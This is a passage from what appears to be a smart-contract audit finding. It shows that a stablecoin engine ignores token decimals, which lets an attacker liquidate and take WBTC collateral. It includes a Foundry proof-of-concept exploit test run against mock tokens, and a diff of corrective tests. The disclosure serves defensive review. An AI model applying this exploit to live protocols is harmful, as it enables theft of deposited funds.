This 18-decimal assumption creates a discrepancy between the protocol-computed USD value and actual USD value of tokens with non-standard decimals. As a result, any deposited collateral token with fewer than 18 decimals (including WBTC
) can potentially be stolen by an attacker.
A proof of concept for the attack is provided below. Note that this test utilizes the slightly modified version of HelperConfig.s.sol
shown in the diff at the bottom of this submission, which creates mock tokens with differing decimals.
pragma solidity 0.8.19;
import {DeployDSC} from "../../script/DeployDSC.s.sol";
import {DSCEngine} from "../../src/DSCEngine.sol";
import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
import {MockV3Aggregator} from "../mocks/MockV3Aggregator.sol";
import {Test, console} from "forge-std/Test.sol";
import {StdCheats} from "forge-std/StdCheats.sol";
contract TokenDecimalExploit is StdCheats, Test {
DSCEngine public dsce;
DecentralizedStableCoin public dsc;
HelperConfig public helperConfig;
address public ethUsdPriceFeed;
address public btcUsdPriceFeed;
address public weth;
address public wbtc;
uint256 public wethDecimals;
uint256 public wbtcDecimals;
uint256 public feedDecimals;
uint256 public deployerKey;
address public user = address(1);
address public exploiter = address(2);
uint256 public constant STARTING_USER_BALANCE = 10 ether;
uint256 public constant MIN_HEALTH_FACTOR = 1e18;
uint256 public constant LIQUIDATION_BONUS = 10;
uint256 public constant LIQUIDATION_THRESHOLD = 50;
uint256 public constant LIQUIDATION_PRECISION = 100;
function setUp() external {
DeployDSC deployer = new DeployDSC();
(dsc, dsce, helperConfig) = deployer.run();
(ethUsdPriceFeed, btcUsdPriceFeed, weth, wbtc, deployerKey) = helperConfig.activeNetworkConfig();
if (block.chainid == 31337) {
vm.deal(user, STARTING_USER_BALANCE);
}
ERC20DecimalsMock(weth).mint(user, STARTING_USER_BALANCE);
ERC20DecimalsMock(wbtc).mint(user, STARTING_USER_BALANCE);
ERC20DecimalsMock(weth).mint(exploiter, STARTING_USER_BALANCE);
wethDecimals = ERC20DecimalsMock(weth).decimals();
wbtcDecimals = ERC20DecimalsMock(wbtc).decimals();
feedDecimals = helperConfig.FEED_DECIMALS();
}
* @notice This test is based on a very real possible scenario involving WETH and WBTC.
*
* On Ethereum mainnet, WETH and WBTC have 18 and 8 decimals, respectively.
* The current prices of WETH and WBTC are close to $2,000 and $30,000, respectively.
* The `DSCEngine` allows a user to borrow up to the liquidation threshold.
* The `DSCEngine` fails to account for token decimals when computing USD prices.
*/
function testExploitTokenDecimals() public {
MockV3Aggregator(ethUsdPriceFeed).updateAnswer(int256(2_000 * 10**feedDecimals));
MockV3Aggregator(btcUsdPriceFeed).updateAnswer(int256(30_000 * 10**feedDecimals));
vm.startPrank(user);
uint256 amountWethDeposited = 1 * 10**wethDecimals;
uint256 expectedValueWeth = 2_000 ether;
uint256 amountDscFromWeth = (expectedValueWeth * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION;
ERC20DecimalsMock(weth).approve(address(dsce), amountWethDeposited);
dsce.depositCollateralAndMintDsc(weth, amountWethDeposited, amountDscFromWeth);
assertEq(dsc.balanceOf(user), amountDscFromWeth);
vm.stopPrank();
uint256 valueWeth = dsce.getUsdValue(weth, amountWethDeposited);
assertEq(valueWeth, expectedValueWeth);
uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, expectedValueWeth);
assertEq(amountWeth, amountWethDeposited);
vm.startPrank(user);
uint256 amountWbtcDeposited = 1 * 10**wbtcDecimals;
uint256 expectedValueWbtc = 30_000 * 10**wbtcDecimals;
uint256 amountDscFromWbtc = (expectedValueWbtc * LIQUIDATION_THRESHOLD) / LIQUIDATION_PRECISION;
ERC20DecimalsMock(wbtc).approve(address(dsce), amountWbtcDeposited);
dsce.depositCollateralAndMintDsc(wbtc, amountWbtcDeposited, amountDscFromWbtc);
assertEq(dsc.balanceOf(user), amountDscFromWeth + amountDscFromWbtc);
vm.stopPrank();
uint256 valueWbtc = dsce.getUsdValue(wbtc, amountWbtcDeposited);
assertEq(valueWbtc, expectedValueWbtc);
uint256 amountWbtc = dsce.getTokenAmountFromUsd(wbtc, expectedValueWbtc);
assertEq(amountWbtc, amountWbtcDeposited);
vm.startPrank(exploiter);
ERC20DecimalsMock(weth).approve(address(dsce), amountWethDeposited);
dsce.depositCollateralAndMintDsc(weth, amountWethDeposited, amountDscFromWeth);
assertEq(dsc.balanceOf(exploiter), amountDscFromWeth);
vm.stopPrank();
MockV3Aggregator(btcUsdPriceFeed).updateAnswer(int256(29_999 * 10**feedDecimals));
uint256 newValueWbtc = dsce.getUsdValue(wbtc, amountWbtcDeposited);
assertTrue(dsce.getHealthFactor(user) < MIN_HEALTH_FACTOR);
vm.startPrank(exploiter);
uint256 debtToPay = (newValueWbtc * LIQUIDATION_PRECISION) / (LIQUIDATION_PRECISION + LIQUIDATION_BONUS);
dsc.approve(address(dsce), debtToPay);
dsce.liquidate(wbtc, user, debtToPay);
vm.stopPrank();
uint256 err = 0.0001 ether;
assertApproxEqRel(ERC20DecimalsMock(wbtc).balanceOf(exploiter), amountWbtcDeposited, err);
assertApproxEqRel(dsc.balanceOf(exploiter), amountDscFromWeth, err);
assertApproxEqAbs(dsce.getCollateralBalanceOfUser(user, wbtc), 0, 1);
}
}
Direct theft of deposited collateral for tokens with fewer than 18 decimals.
Manual review.
Test for varied token decimals! Here is a diff which adds some relevant tests to the existing code base. Note that the new tests fail!
@@ -4,7 +4,7 @@ pragma solidity ^0.8.18;
import {Script} from "forge-std/Script.sol";
import {MockV3Aggregator} from "../test/mocks/MockV3Aggregator.sol";
-import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
contract HelperConfig is Script {
struct NetworkConfig {
@@ -15,7 +15,9 @@ contract HelperConfig is Script {
uint256 deployerKey;
}
- uint8 public constant DECIMALS = 8;
+ uint8 public constant FEED_DECIMALS = 8;
+ uint8 public constant WETH_DECIMALS = 18;
+ uint8 public constant WBTC_DECIMALS = 8;
int256 public constant ETH_USD_PRICE = 2000e8;
int256 public constant BTC_USD_PRICE = 1000e8;
uint256 public DEFAULT_ANVIL_KEY = 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;
@@ -47,16 +49,18 @@ contract HelperConfig is Script {
vm.startBroadcast();
MockV3Aggregator ethUsdPriceFeed = new MockV3Aggregator(
- DECIMALS,
+ FEED_DECIMALS,
ETH_USD_PRICE
);
- ERC20Mock wethMock = new ERC20Mock("WETH", "WETH", msg.sender, 1000e8);
+ ERC20DecimalsMock wethMock = new ERC20DecimalsMock("WETH", "WETH", WETH_DECIMALS);
+ wethMock.mint(msg.sender, 1000 * 10**WETH_DECIMALS);
MockV3Aggregator btcUsdPriceFeed = new MockV3Aggregator(
- DECIMALS,
+ FEED_DECIMALS,
BTC_USD_PRICE
);
- ERC20Mock wbtcMock = new ERC20Mock("WBTC", "WBTC", msg.sender, 1000e8);
+ ERC20DecimalsMock wbtcMock = new ERC20DecimalsMock("WBTC", "WBTC", WBTC_DECIMALS);
+ wbtcMock.mint(msg.sender, 1000 * 10**WBTC_DECIMALS);
vm.stopBroadcast();
return NetworkConfig({
@@ -6,7 +6,7 @@ import {DeployDSC} from "../../script/DeployDSC.s.sol";
import {DSCEngine} from "../../src/DSCEngine.sol";
import {DecentralizedStableCoin} from "../../src/DecentralizedStableCoin.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
-import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
+import {ERC20DecimalsMock} from "@openzeppelin/contracts/mocks/ERC20DecimalsMock.sol";
import {MockMoreDebtDSC} from "../mocks/MockMoreDebtDSC.sol";
import {MockFailedMintDSC} from "../mocks/MockFailedMintDSC.sol";
import {MockFailedTransferFrom} from "../mocks/MockFailedTransferFrom.sol";
@@ -24,6 +24,8 @@ contract DSCEngineTest is StdCheats, Test {
address public btcUsdPriceFeed;
address public weth;
address public wbtc;
+ uint256 public wethDecimals;
+ uint256 public wbtcDecimals;
uint256 public deployerKey;
uint256 amountCollateral = 10 ether;
@@ -58,8 +60,11 @@ contract DSCEngineTest is StdCheats, Test {
// vm.etch(ethUsdPriceFeed, address(aggregatorMock).code);
// vm.etch(btcUsdPriceFeed, address(aggregatorMock).code);
// }
- ERC20Mock(weth).mint(user, STARTING_USER_BALANCE);
- ERC20Mock(wbtc).mint(user, STARTING_USER_BALANCE);
+ ERC20DecimalsMock(weth).mint(user, STARTING_USER_BALANCE);
+ ERC20DecimalsMock(wbtc).mint(user, STARTING_USER_BALANCE);
+
+ wethDecimals = ERC20DecimalsMock(weth).decimals();
+ wbtcDecimals = ERC20DecimalsMock(wbtc).decimals();
}
///////////////////////
@@ -81,21 +86,36 @@ contract DSCEngineTest is StdCheats, Test {
// Price Tests //
//////////////////
- function testGetTokenAmountFromUsd() public {
- // If we want $100 of WETH @ $2000/WETH, that would be 0.05 WETH
- uint256 expectedWeth = 0.05 ether;
- uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 100 ether);
+ function testGetWethTokenAmountFromUsd() public {
+ // If we want $10,000 of WETH @ $2000/WETH, that would be 5 WETH
+ uint256 expectedWeth = 5 * 10**wethDecimals;
+ uint256 amountWeth = dsce.getTokenAmountFromUsd(weth, 10_000 ether);
assertEq(amountWeth, expectedWeth);
}
- function testGetUsdValue() public {
- uint256 ethAmount = 15e18;
- // 15e18 ETH * $2000/ETH = $30,000e18
- uint256 expectedUsd = 30000e18;
+ function testGetWbtcTokenAmountFromUsd() public {
+ // If we want $10,000 of WBTC @ $1000/WBTC, that would be 10 WBTC
+ uint256 expectedWbtc = 10 * 10**wbtcDecimals;
+ uint256 amountWbtc = dsce.getTokenAmountFromUsd(wbtc, 10_000 ether);
+ assertEq(amountWbtc, expectedWbtc);
+ }
+
+ function testGetUsdValueWeth() public {
+ uint256 ethAmount = 15 * 10**wethDecimals;
+ // 15 ETH * $2000/ETH = $30,000
+ uint256 expectedUsd = 30_000 ether;
uint256 usdValue = dsce.getUsdValue(weth, ethAmount);
assertEq(usdValue, expectedUsd);
}
+ function testGetUsdValueWbtc() public {
+ uint256 btcAmount = 15 * 10**wbtcDecimals;
+ // 15 BTC * $1000/BTC = $15,000
+ uint256 expectedUsd = 15_000 ether;
+ uint256 usdValue = dsce.getUsdValue(wbtc, btcAmount);
+ assertEq(usdValue, expectedUsd);
+ }
+
///////////////////////////////////////
// depositCollateral Tests //
///////////////////////////////////////
@@ -119,7 +139,7 @@ contract DSCEngineTest is StdCheats, Test {
mockDsc.transferOwnership(address(mockDsce));
// Arrange - User
vm.startPrank(user);
- ERC20Mock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
+ ERC20DecimalsMock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
// Act / Assert
vm.expectRevert(DSCEngine.DSCEngine__TransferFailed.selector);
mockDsce.depositCollateral(address(mockDsc), amountCollateral);
@@ -128,7 +148,7 @@ contract DSCEngineTest is StdCheats, Test {
function testRevertsIfCollateralZero() public {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
dsce.depositCollateral(weth, 0);
@@ -136,7 +156,8 @@ contract DSCEngineTest is StdCheats, Test {
}
function testRevertsWithUnapprovedCollateral() public {
- ERC20Mock randToken = new ERC20Mock("RAN", "RAN", user, 100e18);
+ ERC20DecimalsMock randToken = new ERC20DecimalsMock("RAN", "RAN", 4);
+ ERC20DecimalsMock(randToken).mint(user, 100 ether);
vm.startPrank(user);
vm.expectRevert(DSCEngine.DSCEngine__NotAllowedToken.selector);
dsce.depositCollateral(address(randToken), amountCollateral);
@@ -145,7 +166,7 @@ contract DSCEngineTest is StdCheats, Test {
modifier depositedCollateral() {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateral(weth, amountCollateral);
vm.stopPrank();
_;
@@ -182,7 +203,7 @@ contract DSCEngineTest is StdCheats, Test {
mockDsc.transferOwnership(address(mockDsce));
// Arrange - User
vm.startPrank(user);
- ERC20Mock(weth).approve(address(mockDsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(mockDsce), amountCollateral);
vm.expectRevert(DSCEngine.DSCEngine__MintFailed.selector);
mockDsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
@@ -193,7 +214,7 @@ contract DSCEngineTest is StdCheats, Test {
(, int256 price,,,) = MockV3Aggregator(ethUsdPriceFeed).latestRoundData();
amountToMint = (amountCollateral * (uint256(price) * dsce.getAdditionalFeedPrecision())) / dsce.getPrecision();
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
uint256 expectedHealthFactor =
dsce.calculateHealthFactor(dsce.getUsdValue(weth, amountCollateral), amountToMint);
@@ -204,7 +225,7 @@ contract DSCEngineTest is StdCheats, Test {
modifier depositedCollateralAndMintedDsc() {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
vm.stopPrank();
_;
@@ -221,7 +242,7 @@ contract DSCEngineTest is StdCheats, Test {
function testRevertsIfMintAmountIsZero() public {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
dsce.mintDsc(0);
@@ -235,7 +256,7 @@ contract DSCEngineTest is StdCheats, Test {
amountToMint = (amountCollateral * (uint256(price) * dsce.getAdditionalFeedPrecision())) / dsce.getPrecision();
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateral(weth, amountCollateral);
uint256 expectedHealthFactor =
@@ -259,7 +280,7 @@ contract DSCEngineTest is StdCheats, Test {
function testRevertsIfBurnAmountIsZero() public {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
dsce.burnDsc(0);
@@ -306,7 +327,7 @@ contract DSCEngineTest is StdCheats, Test {
mockDsc.transferOwnership(address(mockDsce));
// Arrange - User
vm.startPrank(user);
- ERC20Mock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
+ ERC20DecimalsMock(address(mockDsc)).approve(address(mockDsce), amountCollateral);
// Act / Assert
mockDsce.depositCollateral(address(mockDsc), amountCollateral);
vm.expectRevert(DSCEngine.DSCEngine__TransferFailed.selector);
@@ -316,7 +337,7 @@ contract DSCEngineTest is StdCheats, Test {
function testRevertsIfRedeemAmountIsZero() public {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
vm.expectRevert(DSCEngine.DSCEngine__NeedsMoreThanZero.selector);
dsce.redeemCollateral(weth, 0);
@@ -326,7 +347,7 @@ contract DSCEngineTest is StdCheats, Test {
function testCanRedeemCollateral() public depositedCollateral {
vm.startPrank(user);
dsce.redeemCollateral(weth, amountCollateral);
- uint256 userBalance = ERC20Mock(weth).balanceOf(user);
+ uint256 userBalance = ERC20DecimalsMock(weth).balanceOf(user);
assertEq(userBalance, amountCollateral);
vm.stopPrank();
}
@@ -345,7 +366,7 @@ contract DSCEngineTest is StdCheats, Test {
function testCanRedeemDepositedCollateral() public {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
dsc.approve(address(dsce), amountToMint);
dsce.redeemCollateralForDsc(weth, amountCollateral, amountToMint);
@@ -399,16 +420,16 @@ contract DSCEngineTest is StdCheats, Test {
mockDsc.transferOwnership(address(mockDsce));
// Arrange - User
vm.startPrank(user);
- ERC20Mock(weth).approve(address(mockDsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(mockDsce), amountCollateral);
mockDsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
vm.stopPrank();
// Arrange - Liquidator
collateralToCover = 1 ether;
- ERC20Mock(weth).mint(liquidator, collateralToCover);
+ ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
vm.startPrank(liquidator);
- ERC20Mock(weth).approve(address(mockDsce), collateralToCover);
+ ERC20DecimalsMock(weth).approve(address(mockDsce), collateralToCover);
uint256 debtToCover = 10 ether;
mockDsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
mockDsc.approve(address(mockDsce), debtToCover);
@@ -422,10 +443,10 @@ contract DSCEngineTest is StdCheats, Test {
}
function testCantLiquidateGoodHealthFactor() public depositedCollateralAndMintedDsc {
- ERC20Mock(weth).mint(liquidator, collateralToCover);
+ ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
vm.startPrank(liquidator);
- ERC20Mock(weth).approve(address(dsce), collateralToCover);
+ ERC20DecimalsMock(weth).approve(address(dsce), collateralToCover);
dsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
dsc.approve(address(dsce), amountToMint);
@@ -436,7 +457,7 @@ contract DSCEngineTest is StdCheats, Test {
modifier liquidated() {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateralAndMintDsc(weth, amountCollateral, amountToMint);
vm.stopPrank();
int256 ethUsdUpdatedPrice = 18e8; // 1 ETH = $18
@@ -444,10 +465,10 @@ contract DSCEngineTest is StdCheats, Test {
MockV3Aggregator(ethUsdPriceFeed).updateAnswer(ethUsdUpdatedPrice);
uint256 userHealthFactor = dsce.getHealthFactor(user);
- ERC20Mock(weth).mint(liquidator, collateralToCover);
+ ERC20DecimalsMock(weth).mint(liquidator, collateralToCover);
vm.startPrank(liquidator);
- ERC20Mock(weth).approve(address(dsce), collateralToCover);
+ ERC20DecimalsMock(weth).approve(address(dsce), collateralToCover);
dsce.depositCollateralAndMintDsc(weth, collateralToCover, amountToMint);
dsc.approve(address(dsce), amountToMint);
dsce.liquidate(weth, user, amountToMint); // We are covering their whole debt
@@ -456,7 +477,7 @@ contract DSCEngineTest is StdCheats, Test {
}
function testLiquidationPayoutIsCorrect() public liquidated {
- uint256 liquidatorWethBalance = ERC20Mock(weth).balanceOf(liquidator);
+ uint256 liquidatorWethBalance = ERC20DecimalsMock(weth).balanceOf(liquidator);
uint256 expectedWeth = dsce.getTokenAmountFromUsd(weth, amountToMint)
+ (dsce.getTokenAmountFromUsd(weth, amountToMint) / dsce.getLiquidationBonus());
uint256 hardCodedExpected = 6111111111111111110;
@@ -519,7 +540,7 @@ contract DSCEngineTest is StdCheats, Test {
function testGetCollateralBalanceOfUser() public {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateral(weth, amountCollateral);
vm.stopPrank();
uint256 collateralBalance = dsce.getCollateralBalanceOfUser(user, weth);
@@ -528,7 +549,7 @@ contract DSCEngineTest is StdCheats, Test {
function testGetAccountCollateralValue() public {
vm.startPrank(user);
- ERC20Mock(weth).approve(address(dsce), amountCollateral);
+ ERC20DecimalsMock(weth).approve(address(dsce), amountCollateral);
dsce.depositCollateral(weth, amountCollateral);
vm.stopPrank();
uint256 collateralValue = dsce.getAccountCollateralValue(user);